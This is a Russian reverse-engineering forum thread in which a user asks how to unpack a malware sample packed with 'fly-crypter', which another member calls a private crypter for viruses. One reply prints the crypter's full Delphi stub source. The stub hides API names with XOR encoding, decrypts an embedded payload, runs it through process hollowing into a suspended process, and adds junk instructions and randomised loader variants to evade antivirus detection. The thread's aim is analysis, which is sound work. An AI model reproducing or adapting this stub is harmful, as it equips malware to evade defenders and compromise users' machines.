fly-crypter - eXeL@B

Сейчас на форуме: (+7 невидимых)

Посл.ответ	Сообщение
dant3 Ранг: 33.9 (посетитель), 22thx Активность: 0.03↘0 Статус: Участник	Создано: 28 декабря 2012 12:12 · Поправил: dant3 · Личное сообщение · #1 добрый день. Кто-нибудь сталкивался с сабжем(VB, native code)? Мб есть туторы по распаковке? Буду признаетелен за любую информацию. P.S. затруднения в основном вызывают vb api.

ELF_7719116 Ранг: 419.0 (мудрец), 647thx Активность: 0.46↗0.51 Статус: Участник "Тибериумный реверсинг"	Создано: 28 декабря 2012 12:30 · Личное сообщение · #2 Если есть рабочий сэмпл, выложите пожалуйста.
dant3 Ранг: 33.9 (посетитель), 22thx Активность: 0.03↘0 Статус: Участник	Создано: 28 декабря 2012 12:36 · Личное сообщение · #3 выложить не могу, нет под руками.
daFix Ранг: 529.0 (!), 110thx Активность: 0.29↘0.04 Статус: Участник 5KRT	Создано: 28 декабря 2012 15:42 · Личное сообщение · #4 dant3 Это приватный криптор для вирусов. Что у вас там за прога-то? ----- Research For Food
dant3 Ранг: 33.9 (посетитель), 22thx Активность: 0.03↘0 Статус: Участник	Создано: 28 декабря 2012 15:47 · Личное сообщение · #5 Малваря, но это к делу не относиться.
TryAga1n Ранг: 262.5 (наставник), 337thx Активность: 0.34↘0.25 Статус: Участник	Создано: 28 декабря 2012 16:30 · Поправил: TryAga1n · Личное сообщение · #6 В дистрибе, в архиве под названием fly-crypter.rar нашел Code: program Stub; {$IMAGEBASE $44440000} {$R ico.RES} uses Windows; // file data var _FILE_ var xorkey, xorkeyconst, xorkeyvar: byte; type TSections = array [0..0] of TImageSectionHeader; function GetAlignedSize(Size: dword; Alignment: dword): dword; begin if ((Size mod Alignment) = 0) then begin Result := Size; end else begin Result := ((Size div Alignment) + 1) * Alignment; end; end; function encodestr(instr: string): string; var i, j: integer; begin result := ''; j := 137; for i := 1 to length(instr) do begin result := result + chr(ord(instr[i]) xor j); if j = 255 then j := 1 else inc(j); end; end; procedure unxorarr(var arr: array of byte); var i, j: integer; begin j := xorkey; for i := 0 to length(arr) - 1 do begin arr[i] := arr[i] xor j; if j = 255 then j := 1 else inc(j); end; end; // winapi type DWORD = LongWord; BOOL = LongBool; LPCSTR = PAnsiChar; UINT = LongWord; FARPROC = Pointer; PSecurityAttributes = ^TSecurityAttributes; _SECURITY_ATTRIBUTES = record nLength: DWORD; lpSecurityDescriptor: Pointer; bInheritHandle: BOOL; end; TSecurityAttributes = _SECURITY_ATTRIBUTES; SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES; POverlapped = ^TOverlapped; _OVERLAPPED = record Internal: DWORD; InternalHigh: DWORD; Offset: DWORD; OffsetHigh: DWORD; hEvent: THandle; end; {$EXTERNALSYM _OVERLAPPED} TOverlapped = _OVERLAPPED; OVERLAPPED = _OVERLAPPED; {$EXTERNALSYM OVERLAPPED} const MAX_PATH = 260; GENERIC_WRITE = $40000000; FILE_SHARE_WRITE = $00000002; CREATE_NEW = 1; INVALID_HANDLE_VALUE = DWORD(-1); kernel32 = 'kernel32.dll'; var pro_mem: function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesWritten: DWORD): BOOL; stdcall; pro_create: function (lpApplicationName: PChar; lpCommandLine: PChar; lpProcessAttributes, lpThreadAttributes: PSecurityAttributes; bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer; lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo; var lpProcessInformation: TProcessInformation): BOOL; stdcall; pro_read: function (hProcess: THandle; const lpBaseAddress: Pointer; lpBuffer: Pointer; nSize: DWORD; var lpNumberOfBytesRead: DWORD): BOOL; stdcall; pro_alloc: function (hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; function LoadLibrary(lpLibFileName: PChar): HMODULE; stdcall; external kernel32 name 'LoadLibraryA'; function GetProcAddress(hModule: HMODULE; lpProcName: LPCSTR): FARPROC; stdcall; external kernel32 name 'GetProcAddress'; function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external kernel32 name 'GetTempPathA'; procedure stealth; var hkernel: thandle; begin hkernel := LoadLibrary(pansichar(encodestr('впщвивјўїцяш'))); @pro_mem := getprocaddress(hkernel, pansichar(encodestr('ЮшвшиЮэятчазШуъчлг'))); @pro_create := getprocaddress(hkernel, pansichar(encodestr('КшонщлЯвюсцзжЧ'))); @pro_read := getprocaddress(hkernel, pansichar(encodestr('ЫпкиЭьауфбаЩрышка'))); @pro_alloc := getprocaddress(hkernel, pansichar(encodestr('ЯгщшшпгСэюьчРо'))); end; procedure ExInMem(FileMemory: pointer); var BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword; Context: TContext; FileData: pointer; ImageNtHeaders: PImageNtHeaders; InjectMemory: pointer; ProcInfo: TProcessInformation; PSections: ^TSections; StartInfo: TStartupInfo; begin ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew)); GetMem(InjectMemory, InjectSize); try FileData := InjectMemory; HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders; PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData; end; CopyMemory(FileData, FileMemory, HeaderSize); FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment)); for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do begin if PSections[SectionLoop].SizeOfRawData > 0 then begin SectionSize := PSections[SectionLoop].SizeOfRawData; if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize; CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize); FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment)); end else begin if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment)); end; end; stealth; ZeroMemory(@StartInfo, SizeOf(StartupInfo)); ZeroMemory(@Context, SizeOf(TContext)); pro_create(nil, pchar(ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo); Context.ContextFlags := CONTEXT_FULL; GetThreadContext(ProcInfo.hThread, Context); pro_read(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes); pro_alloc(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); pro_mem(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes); pro_mem(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes); Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint; SetThreadContext(ProcInfo.hThread, Context); ResumeThread(ProcInfo.hThread); finally FreeMemory(InjectMemory); end; end; procedure loader_a; var tempbuf: array [0..MAX_PATH] of char; c, b, d : byte; begin gettemppath(MAX_PATH, tempbuf); xorkeyconst := ord(tempbuf[2]) + ord(tempbuf[3]); xorkeyvar := _XORKEYVAR_; //Decrypting Key xorkey := xorkeyconst xor xorkeyvar; unxorarr(file1); if @file1[0] <> nil then ExinMem(@file1[0]); end; procedure loader_b; var tempbuf: array [0..MAX_PATH] of char; c, b, d : byte; begin asm MOV AH, 43h MOV AH, 43h MOV EBP,ESP MOV ESP,EBP MOV AH, 43h MOV AH, 43h MOV AH, 43h MOV ESP,EBP MOV AH, 43h end; gettemppath(MAX_PATH, tempbuf); xorkeyconst := ord(tempbuf[2]) + ord(tempbuf[3]); xorkeyvar := _XORKEYVAR_; //Decrypting Key xorkey := xorkeyconst xor xorkeyvar; asm MOV AH, 88h MOV AH, 43h MOV EBP,ESP MOV ESP,EBP MOV AH, 56h MOV AH, 43h MOV AH, 11h MOV ESP,EBP MOV AH, 43h end; c := random(256) xor $32 xor $75; b := xorkeyconst xor xorkeyvar; d := ord(tempbuf[45]) + ord(tempbuf[65]); unxorarr(file1); c := random(256) xor $32 xor $75; b := random(256) xor $13 xor $54; d := b xor $25 xor c xor $36; if @file1[0] <> nil then c := random(256) xor $32 xor $75; b := ord(tempbuf[11]) + ord(tempbuf[5]); d := b xor $25 xor c xor $36; ExinMem(@file1[0]); asm MOV AH, 43h MOV AH, 93h MOV EBP,ESP MOV ESP,EBP MOV AH, 69h MOV AH, 43h MOV AH, 32h MOV ESP,EBP MOV AH, 43h end; end; procedure loader_c; var tempc: array [0..MAX_PATH] of char; c, b, d : byte; begin c := random(256) xor $32 xor $75; b := ord(tempc[4]) + ord(tempc[8]); d := b xor $25 xor c xor $36; gettemppath(MAX_PATH, tempc); c := random(256) xor $32 xor $75; b := random(256) xor $13 xor $54; d := b xor $25 xor c xor $36; xorkeyconst := ord(tempc[2]) + ord(tempc[3]); c := random(256) xor $32 xor $75; b := xorkeyconst xor xorkeyvar; d := b xor $25 xor c xor $36; xorkeyvar := _XORKEYVAR_; //Decrypting Key c := random(256) xor $32 xor $75; b := random(256) xor $13 xor $54; d := b xor $25 xor c xor $36; //Decrypting Key xorkey := xorkeyconst xor xorkeyvar; c := random(256) xor $32 xor $75; b := xorkeyconst xor xorkeyvar; d := ord(tempc[45]) + ord(tempc[65]); unxorarr(file1); c := random(256) xor $32 xor $75; b := random(256) xor $13 xor $54; d := b xor $25 xor c xor $36; if @file1[0] <> nil then c := random(256) xor $32 xor $75; b := ord(tempc[11]) + ord(tempc[5]); d := b xor $25 xor c xor $36; ExinMem(@file1[0]); c := random(256) xor $32 xor $75; b := random(256) xor $13 xor $54; d := b xor $25 xor c xor $36; end; var i: integer; begin randomize; i := random(9); if i = 0 then loader_a; if i = 1 then loader_a; if i = 2 then loader_b; if i = 3 then loader_c; if i = 4 then loader_a; if i = 5 then loader_b; if i = 6 then loader_c; if i = 7 then loader_c; if i = 8 then loader_b; if i = 9 then loader_c; end. Code: Fly-Crypter v1.0 Copyright [c] 2007 ut[1]lz]
dant3 Ранг: 33.9 (посетитель), 22thx Активность: 0.03↘0 Статус: Участник	Создано: 28 декабря 2012 16:58 · Личное сообщение · #7 Спасибо, но к данному случаю не применимо, версия 2.3.
dant3 Ранг: 33.9 (посетитель), 22thx Активность: 0.03↘0 Статус: Участник	Создано: 28 декабря 2012 19:35 · Личное сообщение · #8 Спасибо всем кто откликнулся, тема более не актуальна, разобрался сам, прот уг.
Archer Ранг: 2014.5 (!!!!), 1278thx Активность: 1.34↘0.25 Статус: Модератор retired	Создано: 28 декабря 2012 19:56 · Личное сообщение · #9 В следующий раз более предметно надо, а именно файл выкладывать. Ибо при такой постановке вопроса сказать совершенно нечего, хоть я и смотрел когда-то этот fly, и проблем он совершенно не вызвал. З.Ы. Пользуйся кнопкой "Правка", не создавай сообщения подряд. З.З.Ы. Автор сам может закрыть свою тему, кнопка "Закрыть тему" находится внизу страницы, под кнопкой "Отправить сообщение".

Для печати